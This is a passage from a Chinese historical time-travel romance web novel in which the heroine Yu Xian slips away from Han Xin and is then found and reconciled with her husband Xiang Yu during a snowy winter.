不过是被的吕雉安排杀掉的,不过有没有刘邦的授意和默许,就不得而知。 韩信闻言一顿:“夷三族?” 虞苋继续给他倒酒,很是肯定的点头:“对啊,其实当初在船上我劝你不要投靠刘邦,即便有些自己的私心在,说他非良主,并非虚言。” 韩信说:“夫人是在挑拨我与汉王的关系,瓦解我与他的同盟?” 虞苋摇头:“没有的是,我只是好心提醒。” 秋天的夜晚是比较凉快的,没有什么蚊虫,天上少云,于是漫天的星辰抬头就能看见。 她瞥了一眼韩信,他背光席地而坐,敛目,能看见他的睫毛在颤动,高挺的鼻梁和薄淡的嘴唇,在烛光下若隐若现。 还是好看的。 被韩信抓住的这些天,女郎自然知道他如今权势滔天,而一想到对方竟然舔她的脚,她心里就有种奇怪的感觉。 虞苋为了能够拿到韩信的腰牌,于是找了不少话题劝酒,一直喝了近一个时辰,对方明显有了浓稠的醉意,她便爬到对方的身边,开始观察从什么地方开始下手。 她突然感觉被人盯着,抬眸,对上了的韩信的眼神。 他因醉意瞳孔还有些迷茫,怔怔看了她一眼,随即将她拉进了怀中,下巴抵在女郎的肩窝,双臂固定着她腰,灼热的呼吸将喷洒在她脆弱的耳后。 此时两人的心跳同样鼓动如雷。 韩信没有说话。 虞苋亦没有推开他,手还非常灵巧的在对方身上游走,惹来对方闷哼了一声,她有些尴尬,又忍不住继续摸,直到找到了带字的腰牌,赶紧将其收好。 她仰头,看见对方的脖子上出了汗,脸上的汗也滑落在喉结处,伸手去碰了碰,轻柔地抹掉了。 虞苋发现自己还是遗传了自己父亲的劣根性的,她直起腰,双手从对方的胳膊抱着对方的身体,滚烫的体温传递而来,带了点说不清道不明的意味,她闭着眼睛,能感觉对方绵绵不绝的情意,心里叹了一口气。 可惜了。 韩信是醉了,醉了的时候最变态,搂着女郎就不松开,自嘲道:“我也只是在醉酒时,才敢如此对你了。” 虞苋眨眼,调侃道:“酒壮怂人胆?” 他低头,薄淡的唇克制的贴在女郎的侧脸,伸手隔着衣裳揉着她的脊背。 女郎很是乖巧,软乎乎的趴在他的身上,却没有吭声。 可是她越是乖巧,越是让人难以自持,也越是让人心痛。 她对那人…… 也是这般吗? 虞苋自己以色相诱接近他,明知道他喝酒之后可能对她放肆,却还是这样做了,因此对方做的事情,基本就是她能想到的,见对方没有太过分便没有反感,手抵住他的胸口,低声道:“够了够了,天色已晚,我得休息了,你也回去休息吧。” 韩信抹掉嘴唇上的水色,深深的看了她一眼,明知道她的打算,还是哑声开口:“好。” 他给她整理了衣裳,又说道:“夜间冷,多穿些衣裳。” 虞苋道:“不冷了。” 韩信已经起身,居高临下的俯视她,随后转身,决绝地融入了黑夜中。 虞苋见他走了,将摸到的腰牌拿在手上看,材质是黄铜制成,上面刻了图案,在边缘处有苋菜的身影。 她不由一愣。 对方已经没有了身影,她给自己倒了一杯酒,将酒喝尽之后,酒杯从她的指尖滑落,叮叮当当的在地上翻滚。 虞苋按揉了太阳穴,她一直给韩信劝酒,自己实际上没有喝多少,却依旧还是有些醉意。 回到房间之后,她便将自己可能用得到的东西收入行囊,又吹灭了蜡烛佯装休息,等到了夜半,便将值守的侍卫打晕,通过自己之前摸索的路线往城门口逃跑。 说来凑巧,韩信在历史上做过淮阴侯,他如今的驻地,正是在淮阴。 虞苋拿着腰牌,让城门守卫开门时,对方不敢质疑,立即让人开门,女郎便顺利的离开。 黑暗中,一人站在城楼上,看着逐渐远处的身影,吩咐道:“护好她。” “喏。” 她心不在这,对他的所有行为,不过都是在施舍。 …… 天上的繁星依旧在闪烁,远处的树影婆娑,风吹着草木沙沙的响。 虞苋是没有骑马的,由于周围水系发达,她就用剑砍了树木,用麻绳捆绑做成简易的木筏,推入水中,顺着水流的方向随波逐流。 坐在木筏上,女郎想不明白,为何韩信会放她走。 自己摸到腰牌的时候,对方浑身一僵,显然是知道了的,却没有阻止,离开的时候也没有遇见巡逻的士兵,是故意让她走的。 她星夜兼程,最后又去游了长江,想要看一看能不能撞到龙吸水的奇观,不过奇观之所以是奇观,就是可遇不可求。 兜兜转转,女郎来到了会稽。 当年秦始皇嬴政游会稽的时候,项羽曾说过自己可以取而代之的话,也是在会稽,项羽与其叔父斩杀了会稽郡守殷通,起兵反秦。 会稽县。 是一个见证历史的城池。 而虞苋到会稽县之时,时间已经来到了深冬,她借住在一户人家的庄子上,正坐在门口的石头上吃饼,一队人马就悄无声息的慢慢逼近。 虞苋吃饭的动作一愣,仰头看着骑在骓奴上的男人。 对方身上披着黑色披风,甲胄上反射着冷光,近乎排山倒海的压迫力席卷而来,嚯,不愧是久居高位的男人。 她先是眼睛一热。 反应过来之后就准备要跑,可是整个庄子已经被全部包围了,她已经无处逃离。 眼看着项羽下马朝着她走过来,女郎立即把饼丢了,“啪叽”一下跪趴在地上,捂住自己的头:“大王大王,我错了我错了,你能不能给我一个痛快,你是杀了我挫骨扬灰都成,能不能别用刑?” 项羽见状深吸了一口气,仰头看着天上飘荡的雪花,周围已经被白雪薄薄的覆盖了一层,而藏在袖摆里的手已紧握成拳,沉默了许久,掌心的血滴落在白雪之上,显得十分的显目。 他一字一顿的询问:“我什么时候说要杀你,我又什么时候说要对你用刑,还有,我的王后,我让你给我下跪了吗?” 男人的声音从嗓子眼里挤出来。 “给我起来。” 虞苋继续抱头,闻言没有行动,心口却堵着一口气,使得她浑身难受。 项羽咬牙切齿:“起来,不要让我说第二遍!” 女郎依旧一动不动。 她想不通,上次韩信能找到自己,是因为当时她杀了不少的匪贼,声名传扬 了出去,离开淮阴之后,自己很少在城池中现身,偶尔借住也是在城外的庄子上,为何还是被项羽寻到了。 项羽简直被虞苋赖皮的样子给气笑了,他眼神中喷火,伸手直接将她捞了起来。 入手的女郎,能感觉到腰间的骨头,清减了不少。 不知道吃了多少的苦。 项羽有心想骂她几句,最后却紧绷着下巴,什么话都不说,摆着一副冷淡的臭脸。 项羽摆手:“就地扎营。” 吩咐完之后,便直接跟提小鸡崽子一样将女郎的给提进了房间,把她放在榻上。 屋子里火盆里点了炭火,火不大,项羽解了身上的披风盖在虞苋的身上,随后拿起夹子夹了几块木炭到火盆中,扒拉几下,让炭火烧得更旺一些。 他问:“还冷吗?” 虞苋感觉到身上的披风还残留着对方身上的体温,此时外面的风吹进来,带着一点沁人的凉意。 她缩了缩脖子:“不冷不冷。” 项羽走到女郎面前,高大的身躯挡住了外面全部的光线,将她笼罩在自己的阴影中,开口说道:“在得知你被韩信关押之时,我便日夜兼程的带兵赶去淮阴讨伐他,不过去到之时,却得知你已先一日离开了。” 他冷嘲:“你倒是能跑。” 虞苋听了项羽的话,才知道为何韩信会改了主意,让她离开的原因竟是如此。 她垂眸,嘴巴紧抿:“我,我没跑。” 项羽坐在一旁的椅子上,伸手烤火,在火红的火星子得光亮下,他冷峻的面容似乎有些化开。 在虞苋的视角来看,她与项羽分别的时间都不到半年,对于项羽的视角来看,他们已经分别了五年多的时间。 他又是冷笑一声:“没跑?” 说着男人从怀中掏出布帛写的诀别信,泛黄的布帛丢在了女郎的怀中:“这是什么?” 虞苋拢共穿越的时间也就一两年,学不会用毛笔写字,字写得歪歪扭扭的,许是时间有些久了,又或者被人长时间摩擦,布帛上的个别字有些模糊不清了。 上面的内容是她自己写的,因此即便是模糊不清的字,她心里也清楚写的是什么: 大王,我准备去丹阳,寻找穿越的办法。 想必大王有所猜测,我非昔日商船之祸的受害人,当日我恰巧从另一个时空穿越而来到这个世道,没有身份,只能借别人的身份活着,成了别人口中无依无靠的孤女。 我为何执着于回去,是因为在我生活的年代国家正处于和平年代,没有奴隶,没有阶级歧视,没有男尊女卑,也没有动不动就担心自己的性命之忧…… 来到这里之后,我才清楚什么事乱世,什么是人命如草芥。 所以。 抱歉了,我得去赌一把,若是我没有回来,就当我死了吧。 大王,珍重。 看完自己写的东西之后,虞苋尬住了,不明白自己当初为什么要这样写,她真恨不得穿回去,一把火将布帛给烧了。 对对对。 烧了。 虞苋偷偷瞥了项羽一眼,趁他不注意,将布帛直接丢进了火盆中。 项羽见状只是冷哼一声,声音淡漠开口:“你除了会烧东西还会什么?” 她被训得低头。 项羽继续道:“上面的内容,你就算是烧了,也不过是掩耳盗铃。” 他指了指自己的脑子:“我全都记得。” 虞苋咬着嘴唇,闻言鼻翼抽动,不知为何在对方的面前,就开始委屈了,眼眶顿时聚满了泪水,“吧唧”一地落在了地板上。 这仅仅是开始,眼睛一旦打开了某个开关,泪水就像线一样滴滴答答,眼圈眼尾、鼻子脸颊,全都红了,好不可怜的。 女郎幻想过无数次与项羽的重逢,都不是这样的,她以为对方会恨不得她去死,或者极尽折磨她,对她实施种种的酷刑。 就像是韩信,初见时,就一副对她恨得牙痒痒的样子。 绝不会是现在这样的。 火盆中的布帛已经烧尽了,热意逼人,肩膀上还围着对方给的暖烘烘的披风,没有上手欺负她,也没有要她的命,除了刺了她两句,便没有其他的行为了。 哦,不对。 有的。 项羽扫了一眼她的手,从怀里掏出了药膏强硬拉着她的手,给她生了冻疮的手指上药,然后温热的掌心对着她的手指揉搓。 她感觉冻疮的位置很痒,想要将手收回,对方已经看透她的心思:“想要冻疮好得快,就得将手指肿胀的部位揉开,痒是正常的。” 虞苋赶紧说:“我知道的。” 项羽便继续给她揉着手,脸色被火光照着,没有再说话,房间里顿时变得沉默。 外面的风雪越加的大了,从原本的小雪演变成了鹅毛大雪,项羽带来的亲兵已经在外面将帐篷扎了起来,开始生火做饭。 炊烟消散在广袤的天空中。 还是虞苋缓和了情绪,首先忍不住询问:“大王,我听说你将丹阳的河流改道了?” 项羽“哦”了一声,淡定道:“之前的水流向不利于灌溉土地,便让工部重新安排了河流走向,怎么了?” 虞苋“呵呵”一笑,摇头:“没怎么。” 他嗤笑道:“你不会以为我是为了你耗时耗力让河流改道的吗?” “没有没有。”女郎捂嘴,“绝不可能。” “你知道就好。” 虞苋忍不住挪着身子到项羽身边,长而卷的睫毛眨啊眨,又小声的询问:“我听丹阳附近的农妇说起,大王打捞了河底的尸体,都将其给一把火给烧了,甚至挫骨扬灰。” 她道:“你不会其实是想将我挫骨扬灰吧?” 项羽皱眉:“倘若我没有记错的话,是王后跟我说尸体不处理,会滋生邪气,容易让人感染瘟疫,最好是将尸体火化处理。” “……” 是哦。 还真是她说的。 他不由冷笑:“所以这就是你得出我要将你挫骨扬灰的理由?” 虞苋低头,将脑袋埋在膝盖之间,不愿面对:“你怎么不恨我?” 她压着嗓子道:“我以为我离开,你会恨上我的,可是你却一点都不在意,都不生气,见面也不骂我,也不罚我。” 这会让自己产生一种错觉,好像她在项羽的生命中只是微不足道的人,有还是没有,都不过可有可无。 虞苋心里格外难受,她感觉自己好像有病一样,却又实在忍不住,只能偷偷将自己的存在缩小了一点。 可是。 项羽一直在注意着她啊。 第79章 第79章“为什么你不亲亲我。”…… 女郎肩膀瘦削,整个人缩成鹌鹑,似乎还准备继续在他面前哭上一场。 项羽轻嗤:“很委屈?” 虞苋垂眸看着对方的手,手指修长,骨节分明,指甲修剪得平整,指腹间能够感觉到他上面的薄茧。 她睫毛轻轻颤动,下睫毛沾了水珠,闷声闷气道:“我没有委屈。” 项羽说:“没有委屈,你哭什么?” 女郎的吸了吸鼻子,抽回自己的手,抹了眼泪:“没哭,是眼睛进了沙子。” 这样拙劣的谎言,不过是她的自尊。 抹完了眼泪之后,她又将自己的手塞进项羽的手中,示意他继续给自己揉手,做完之后,却低头不敢看对方的表情。 项羽又给了她揉了揉手,便起身,说道:“他们应该已经煮好了吃的,我让人拿些热食给你。” 他走出了房间。 虞苋感觉手上滚烫的温度不在,缩回手,没忍住抓了抓痒痒,然后将头埋在了两膝之间,放空了脑袋,什么都没想,眼泪却依旧浸湿了衣裳。 对方是君王,如此冷静,应该是好事,情情爱爱什么的,不过是点缀。 隔了一会儿,项羽重新走了回来,将吃的放在了一旁,女郎听到动静,闭着眼睛将脸上泪水擦干净,仰头看他。 “吃吧。” 虞苋原本肚子是有些饿的,现在却没有什么胃口,又不敢说,默默地捧起碗吃饭。 此时面对项羽,她是又爱又怕。 不过等喝了一口暖呼呼的羊汤,女郎浑身都舒畅了,然后又继续喝了一口,顿时开胃,不仅将里面的羊肉吃了,还吃了大半个饼子。 亲卫将碗给收走,顺便关了房间的门,隔绝了外面的风雪。 项羽淡淡地说道:“你离开前让人去寻找双季稻和棉花种子,去年年初已经找到了,我已经命人找地方种植。” 虞苋忍不住抬头:“那太好了。” 他道:“棉花能保暖,双季稻能种两季,关乎生民衣食住行中的‘衣’和‘食’,我自然是要重视的。” 说话间,对方始终带着理智,不带一丝的情绪。 女郎立即道:“大王真是一个体恤百姓的好君王。” 项羽睨了她一眼:“你错了,我是政客。” 天下人的死活,政客们从未在意。 他们在乎的是,有没有获得更高的权利、更稀奇的宝物、更美的女人。 百姓,不过是他们眼中的蝼蚁,而奴隶,甚至不被当成人来看待。 项羽身上同样拥有着贵族天然的傲慢,眼前见的都是一群在权力欲望中杀戮的恶鬼,唯有虞苋会在他杀红了眼的时候,说一句百姓无辜,勿要杀降、屠城,甚至……将王后的身份弃如敝履,想要回到她的时代。 她美丽、能力出众、能强势能服软,做事足够决绝,这些都只是其中一面,而她身上最特殊的,是对百姓的怜悯之心。 谁会关心蝼蚁会不会饿死冻死? 她会。 于是他便将她要做的事情,给接着做下去。 此时提及,是为了告诉女郎,自己和她,将会永远在同一阵营,是站在一起的。 他在向她邀功。 项羽见女郎悻悻闭嘴,对此没有更多的反应,顿时心生闷气。 虞苋见项羽话落之后,便继续臭着一张脸,看上去难以接近,顿时有些不知所措。 若是放在以前,两人浓情蜜意的时候,她定然已经凑上去讨巧卖乖了。 可已经隔了数年光景,此时两人即便身在同一个空间,心却似乎离得很远。 她猜不透对方的心思,不知道该如何破冰。 或者要睡一觉? 虞苋打了个哈欠,生理泪水从眼眶挤了出来,眼睛已经红红的,小声道:“大王,我困了。” 项羽原本就在生闷气,闻言以为女郎是在赶他走,不愿多与他待在一处,起身看了一眼她榻上的被褥有些薄,说道:“我去给你拿床被褥进来。” “不……”用。 话还没有说完,项羽转身出去了。 门开了又关,外面的风雪吹了进来,带来一阵的寒意。 项羽果然拿了一床被褥进来,没有再停留,站在她三步远的位置,说道:“好好休息。” 见他要走,虞苋立即起身拉住男人的衣袖,呐呐道:“你不和我一起休息吗?” 项羽低头:“我有事要处理。” “哦。”借口。 虞苋感觉对方的冷淡,刚刚鼓足了一些的勇气,又消散了。 项羽果然没留下来,当房门关上,没有了对方的人气,房间里的又变得空荡荡的了。 明明是自己放弃了他,可是看着对方对自己冷淡的态度,依旧不适应。 她爬上了床,解开了身上的披风放在一旁,盖上被褥,打算闭眼睡觉。 房间里的火星子在噼里啪啦的响,女郎翻来覆去睡不着,又想着出去找人,却害怕自己的太过主动而对方已经变心,会被他羞辱,一时拿不定主意。 项羽走出房门,外面的雪已经盖了厚厚的一层,他没有离开,在门口站着。 周围已经被他的亲卫团团围着,就算是一只苍蝇也飞不出去,可他还是担心,女郎会在自己的眼皮底下溜走。 他好不容易找到了人,放她离开绝无可能。 项羽将自己偏执的一面掩藏着,担心将人吓到,明明已经恨不得将人揉进骨血,却依旧在她面前看上去是冷静理智的,而不是个爱而不得的疯子。 他站了一夜,女郎始终没有走出来看一眼,冷心冷肺至此。 许还是在怨恨自己,为何寻到了她吧。 项羽抚摸着掌心已经结痂的伤口,心中已经痛得难以言说,面上却依旧摆着淡漠的神色。 虞苋原本是想着事情的,不知道何时睡着了,早上还是被热醒的,醒来时满头大汗,盆中的炭火已经燃尽了,一束光从外面打了进来。 她打开房门,看见了一个宽阔的背影。 对方转身,冷声道:“醒了。” 他的身上淋了雪,沾在了玄衣上,睫毛上亦有白色霜雪,负手站着,不知道是景色衬人,还是人衬着景,万千光华,不及此时目光随意一瞥。 恍若见到了天上人。 是项羽。 虞苋顿时打了个寒颤,伸手拉住对方衣摆,生怕是自己眼花出现的幻觉:“大王?” 项羽颔首。 她刚睡醒的脑子终于是反应过来了,昨天下午她在吃晚饭时,对方带兵围住了她,并不是自己做的一场梦。 虞苋咬唇,说道:“大王醒得这么早啊?” 项羽抬头看了一眼天色,提醒她:“现在是巳时,时间不早了。” 天上雾蒙蒙的,周围白妆素裹。 女郎刚起来还残留着睡意,脸上红扑扑的,有些羞愧:“对不起,是我起晚了。” 项羽没有责怪她的意思:“本来便是我出现,打扰了你的作息,不用跟我说对不起。” 虞苋一怔。 对方继续道:“洗漱后陪我散散步?” 她点头:“好的好的。” 女郎知道最开始是她将人抛弃了,是自己有错在先,遇见他之时,心里已经做好了最坏的打算。 可她从对方眼中看不到丝毫的恨意,甚至对她非常的关切,整个人忽冷忽热的,让她心里期待他还喜欢自己,又觉得五年多的时间,什么样的情谊都应该随着时间而冲淡了。 心中却依旧含有期待。 虞苋洗漱完之后,便跟在项羽身后,在河岸散步。 由于昨夜下了一整晚的雪,岸边全是积雪,就连河面上亦结了一层薄薄的冰。 这个时代没有工业工厂排出的浊气让全球变暖,古代的冬天是要比两千年后要冷得许多。 虞苋路过枯木时,看见枝丫上的白雪,伸手抓了一把,便感觉到刺骨的冷。 她握紧,捏成球。 项羽无语:“你手上的冻疮,就是这么来的?” 她立即心虚的丢掉雪球,眼睛左瞄瞄右瞧瞧,见四下无人,挪步到对方的身前,拿他的衣摆擦手。 太坏了。 项羽握住她冰凉的小手,拢在袖中给她取暖,说道:“跟我回去都城吧?” 虞苋感觉手被大手包裹着,暖洋洋的,鼻间还有对方好闻的龙涎香的味道,让人欢喜。 她眼睛一热。 “跟的。”女郎立即点头,“跟你回去。” 项羽淡淡道:“是因为我派兵拦住了你,你跑不了,才违心的说跟我回去的吧?” 他此时的做法,与韩信并无不同。 虞苋感觉到手暖和了,立即凑到对方的怀中,将脑袋抵住男人的胸膛,闷声闷气道:“不是的不是的。” 她说:“只要大王不杀我、不罚我,我是自愿跟大王回去的。” 早上开门见到项羽的那一瞬,虞苋就有想要一亲芳泽的冲动,好看的男人千千万,让她想吃掉的就只有他。 项羽手握住了她的脑袋,另一只臂膀搂住她的腰,轻笑道:“小虞,怕我生气、罚你 、杀你,看来你也知道自己做的事情混账啊?” 虞苋不敢说话了。 他继续道:“或许是昨日我没有确切回答对你的态度,让你心生误会,现在我可以明确的回答,小虞,你是我的王后,我不会罚你、杀你,不要把我当成恶人一样防着。” 女郎浑身松了一口气。 可是项羽对她越是冷静,越是让她感觉到不自在,或许是因为相逢时没有恨海情天的拉扯,让重逢显得太过平淡。 除非是项羽已经将她彻底放下了,不爱她,也不恨她,仅是出于自己还是他的王后,才会寻来,对她的好也是做做样子的。 她忍不住道:“大王,你是有其他喜欢的人了吗?” 想到有这个可能,心中就酸酸的呢。 从民间听说是没有的,可是五年多的时间,谁知道呢? 项羽原本软香在怀,心中的偏执郁气全压了下去,闻言气岔,咬牙道:“没有。” 虞苋便仰头:“没有喜欢的人,为什么你不亲亲我。” 第80章 第80章“嘤,是我强求了。”…… 这么主动? 怕不是心虚,在讨好自己。 软香在怀,项羽垂眸。 只见女郎眼尾微红,带着些水色,就像是受了天大的委屈,不亲她马上就能哭出来了。 他手臂又收拢了些,喉结在滚动,面上还是一副冷脸,只是还很喜欢她在自己面前伏小做低的小模样,于是矜持的拒绝了。 “不亲。” 不亲她? 虞苋皱眉看着对方,见他还摆着一张臭脸,睫毛颤了颤,低声的“哦”了一声,没有再说话了。 不亲就不亲! 她也不是很稀罕! 女郎伸手摸了摸项羽喉结,用力推了一下,将他后背怼到身后的树干。 树枝被震得一颤,上面的雪扑梭梭的落下,两人淋了一身的雪,头发和睫毛都白了。 雪灌进了衣领,冷得人浑身一颤。 项羽看着她浑身在抖,忍不住笑了笑:“就这点出息。” 欸,笑了。 不是之前的冷笑、嘲笑、嗤笑,是真的在笑。 如同冬日的暖风,吹走了人心中阴霾。 虞苋愣了愣神。 项羽伸手给她清理了身上的雪,滚烫的手掐住她的脸颊,又恢复成严肃的样子,冷哼道:“力气倒是有长进。” 她并不喜欢被人掐脸,对方做来却是情趣。 女郎垂眸,对着男人的手指舔了一下,能感觉到对方身体突然僵硬,手就松开了。 虞苋便开始卖惨:“大王,我一个人在外行走,经常遇见劫匪劫道,为求自保,只能将大王教给我的武艺练好,力气自然会有长进的。” 她声泪俱下:“你都不知道,四处都有劫匪,看我是一个女人,独自在外行走,无依无靠,都想要欺负我,多亏了当初大王让我去校场锻炼,否则大王还未寻到我,我就被人杀死了。” 项羽道:“那你不是得感谢我?” “要的。” 女郎继续恭维:“当初是我小心眼,吃不得苦,你锻炼我时,我心中还怨恨你,如今才想明白,大王心有远虑,是我当时以小人之心度君子之腹,错怪了你。” 项羽听着她说的话,想到她可能吃过的苦头,心中有些心疼。 他正要安慰,便见虞苋眼睛里闪过一丝狡黠,顿时把话噎了下去,转而说道:“你要怎么感谢我?” 虞苋手指勾了勾:“低头。” 项羽不明所以,闻言低头凑近。 女郎踮起脚,捧着男人的脸,看着他英俊的面容,亲了上去。 不给她亲,她自己想办法,也要将人亲到。 蜻蜓点水的一吻,虞苋立即松开,抬眼去看男人表情。 项羽唇角微勾了一瞬,快得让人以为是看错了,等她回神,故意开口:“就这?” 虞苋有些不满,感觉自己被挑衅了,于是攀住男人的肩膀,再次去亲对方。 男人紧紧搂着她的腰,顺从的被她亲吻,没有主动索取,让这个吻变得缠绵而漫长。 天上不知何时下起了雪,鹅毛大雪飘摇而下,风也很大,难以视物,虞苋没站稳扑到了项羽的身上,两人顺势滚在了雪地上,呼吸缠绕在一起,四周是冷的,唯有男人的身体是如此的灼热。 她感觉自己在吃蜜糖一样,其他的事情都不想做,只想和项羽亲亲,甚是腿脚动一下都不愿意。 项羽可太喜欢女郎的主动,即便是想按头勾着她的舌头在口腔中缠绵,索取其中甜美汁液,却不愿意让她知道自己如此轻易的软化了态度,暂且忍住了自己的欲望,还摆出一副被强迫的矜持姿态。 不过吧。 他的手紧紧搂着女郎的腰,有点矜持,但不多。 雪还在下,在将他们掩埋之时,虞苋起身喘气,脸色潮红,小声控诉:“你真不亲我,都不主动,不回应,就像是木头一样。” 好像激动的只有她,整得自己是个色鬼一样。 项羽心中有些不舍她的离开,面上却脸不红心不跳,扫掉身上的雪,假装淡定道:“我的确不打算亲你,不过作为你的夫君,你要亲我,自是要由着你。” 虞苋抿嘴:“哦。” 怎么感觉还是她占了便宜了哈。 项羽将披风盖在她的脑袋上,手臂环住了她的肩膀,为她挡住了外面的风雪,温暖的气息随之而来。 虞苋仰头,看见对方坚毅的下巴,她便伸手环着对方的劲腰,软乎乎贴了上去。 当年项羽的性子阴晴不定,她以为他会因为自己的离开暴怒、会痛恨、伤害她,倘若他真的对自己做了什么,她便能以此谴责对方的行为让自己内心好受一些。 可偏偏他对于自己是如此的好,甚至没有说一句重话,怎能不让人心虚愧疚? “夫君。”女郎唤一声。 “嗯?” 她好奇道:“你为什么不询问我为何离开?” 项羽低头道:“你留下来的信件已经告诉了我原委,没有必要再质问你离开的理由。”如此会显的自己很可笑。 虞苋:“是哦。” “况且。”他话一转,“现在再次得已见你,等你的五年光阴,倒是没白费。” 女郎正因这话感动呢。 项羽嘴跟淬了毒一样:“不过现下看来,王后是回不了你口中的那个世界了,倒是可怜。” 虞苋闻言心梗,顿时变脸,气呼呼想要推开人,却被对方搂紧,动弹不得。 她说:“对呢对呢,我很可怜。” 项羽想问她离开前,有没有考虑过自己失去她之后该怎么办?不过现在看她没心没肺的样子,显然是没将他放在心上的。 他软香在怀,却兀自神伤。 决定了,还得继续矜持矜持,不能让她以为,他拿她没有办法。 雪下了一会儿便没下了,又走了一会儿,到了一处梅林,梅花开得正浓艳,煞是好看。 女郎脱离了项羽的怀抱,走到了梅树下,闻到了淡淡的梅花香。 她摘下一朵梅花,又走到了项羽面前,踮起脚将花插在他的束发上,又退后一步,观察自己的作品。 青年负手而立,身穿玄色锦衣,披着同色披风,四周是素白一片,看上去周身都是冷的,唯有头上一抹梅花的红,减弱了他身上的冷寒,多了一丝似水柔情。 虞苋双手合十,笑着赞美道:“我就知道梅花最衬你 ,好看的好看的。” 项羽挑眉,闻言亦跟着摘了一朵梅花,插在女郎的鬓角,于是本就明艳的女人,显得更加的诱人。 “还是衬你。” 还会相互恭维呢。 虞苋又主动搂住了男人的腰肢,就像是小猫小狗一样,朝着他的怀中拱,语气闷闷地:“夫君,好夫君,你今晚陪我睡觉好不好,我真的好想你,想到睡不着。” 对方却冷笑:“睡不着,昨晚你倒是睡得很香,在里面一点动静都没有。” 虞苋找补:“就是见到了夫君,我这颗原本四处漂泊的心才安定了下了,所以昨晚才会安然入梦。” 他不信:“若是这么想我,为何不第一时间寻我?” 虞苋:“我怕你有了新欢,又怕你恨不得我死,所以不敢去寻你。” 她委屈嘟囔道:“你恨我,我是不怕的,我最怕的是你现在这样,不恨我,也不爱我,就像是一个假人,我做什么事情都得不到你半点的情绪波动,我的喜欢也好激动也罢,在你眼中都不重要,就好像对我已经完全释怀了。” 项羽看她说得声泪俱下,心弦震动,正要说两句软话。 女郎又立即变脸,甜滋滋道:“夫君,你真的不能主动亲亲我,和我一起睡觉觉啊?” 项羽:“……” 虞苋见他沉默了,看上去很是不情愿,眼睛又开始热了,声音哽咽:“嘤,是我强求了。” 狗男人满头黑线,捏了捏她的脸:“装,继续装。” 她呜咽:“我没装。” 这操作看得人叹为观止,到底谁才阴晴不定,是变脸大师啊? 项羽不为所动,说道:“就如你说的,我们之间隔了数年时间,即便还是夫妻,感情也淡了,要做亲密的事情,自然得慢慢重新培养感情,免得让人误以为我是一个贪图容貌的小人。” 闻言,虞苋耳朵一红,感觉自己被内涵了。 女郎即便害怕对方对她已经没有感情了,看着男人的容貌上,还是忍不住主动凑上去亲亲抱抱。 按照他口中的说法,她便是贪图容貌的小人咯。 倒也没说错。 她清了清嗓子,为自己辩解道:“多少爱情的开始,不都是冲着皮囊去的,皮囊好看,他人才更有兴趣认识皮囊底下的人是什么性子,对不对?” 项羽:“有点道理。” 虞苋又继续说道:“爱美之心人皆有之,喜欢好容颜是人之常情,才不是什么好色之徒呢。” 她才不是什么好色之徒,就算是骨子里藏了些,也绝对不承认。 项羽被她理直气壮的语气逗笑了,刚眉眼一弯,女郎便踮脚跳到了他的身上,对着他的嘴撕咬。 他含糊道:“刚才说了这么多,敢情是为自己狡辩呢。” 虞苋眨了眨眼睛,长长的睫毛戳到了对方的脸上,没说话,冰凉的小手从领口钻去,攀住了男人的后背。 他浑身被冷的一颤,深吸了一口凉气。 女郎心里有些得意洋洋,下一刻男人捧着她的脸,满足她的愿望,加深了这个吻,带着多年的思念、痛苦、爱与恨,狂热汲取,对方的体温、反应,那坏心眼,都和她离开前如出一辙,心口在闷痛,更多的是失而复得的喜悦,于是寒冷的冬天便不冷了,女人带来的体温,高得能将他的身体给焚烧殆尽。 矜持?矜持不了一点。 项羽用力的揉着她的腰,勾着她一起缠缠绵绵的亲吻,舔砥她潮红的脸颊,含住她小巧白嫩的耳垂,就像是凶恶的掠食者在标记自己的猎物,全部都要沾上自己的气息。 哼!是她自找的。 80-90 第81章 第81章“这么热情?” 女郎喘不过气,拍打他的肩膀。 狗男人不为所动,命令道:“换气。” 她乖乖听话。 对方被激出了火气,倒是会回应了,让虞苋心中空荡的一角被填满,对于未知的恐慌终于是放下了。 缠绵的吻结束后,女郎捂着心脏喘息,感觉口齿间还有对方的气息,她仰头去看他,见男人伸手给她整理额前的碎发。 项羽眼神中藏着执念,在她仰头看来之时,垂眸避过了女郎的眼神。 她喜欢强大、善良、仁爱的王者,而不是一个沉溺情爱,而因此失控的昏君。 项羽说:“回去吧。” 虞苋嘴巴被亲麻,正好口渴了,闻言点点头:“好的。” 她说完,又凑到对方身边,好声好奇询问:“回去是为了和我睡觉吗?” 项羽:“……不是。” 虞苋的手握成拳,抵在嘴巴一笑:“我就是说笑的。” 对方轻哼:“我不是跟你说笑。” 说完他转身回去,虞苋赶紧追了上去。 由于天气一直下雪,行路难,项羽便决定在庄子上多停留几日,等雪停了再赶路。 狗男人都主动亲了,依旧装模作样,还是不愿意和她睡一起。 虞苋倒也不是很在意。 她手上的冻疮在上好的伤药的治疗下,两三天便已经好得差不多了,见门口被堆了一堆的雪,耐不住南方人看见雪的欢喜,于是跑到门口堆雪人。 女郎滚了一大一小两个球垒一起,然后捡了树枝当手臂,石头当眼睛和鼻子,反正忙碌下来,成型的雪人非常之丑。 她原本是打算堆两个雪人的,可是见自己的手艺不佳,将雪人弄得太丑了,便放弃了这个想法,站在旁边看着丑雪人唉声叹气。 项羽处理完事务,回到房间,却见房间里空荡荡,就连火盆中的炭火都已经燃烧殆尽。 他站在门口,脑子嗡嗡响。 “小虞。” 项羽叫了一声,没有人回应,手脚顿时僵硬,浑身血液倒流,心中疼痛难忍。 跑了吗? 再一次将他给抛弃了? 项羽眼睛通红,遏制住自己心中的暴怒,转身叫来了亲卫。 “王后呢?” “回大王,王后在外面玩雪。” “玩雪?” 他刚才被怒火冲昏了头,闻言勉强恢复了冷静,果真看见扫成小山的小雪山后面,有一个人的倒影。 项羽吩咐:“去拿个暖炉来。” 亲卫稽首:“喏。” 虞苋听见项羽的声音,立即伸出一个头,笑意盈盈的朝着他挥手示意:“大王,我在这!” 项羽感觉自己如同惊弓之鸟,受不了女郎带来的半点惊吓。 他深吸一口气,克制住自己心中的偏执,走到了虞苋面前,见她手上被冻得通红,压着怒意道:“你还真是不怕冷。” “怕的怕的。”虞苋见对方表情不对劲,赶紧解释,“我就是想堆雪人玩。” 她见对方依旧不悦,好声好气地解释:“我之前跟你说过的,我是苍梧人,那边很少下雪的,好不容易见到了雪,一时兴起……” 女郎扯着对方的衣摆:“你不要生气好不好?” 项羽没有再呵斥她,招手唤来亲卫,接过亲卫弄好的暖炉,又转身将小巧的暖炉递给了她,冷声道:“暖暖手。” 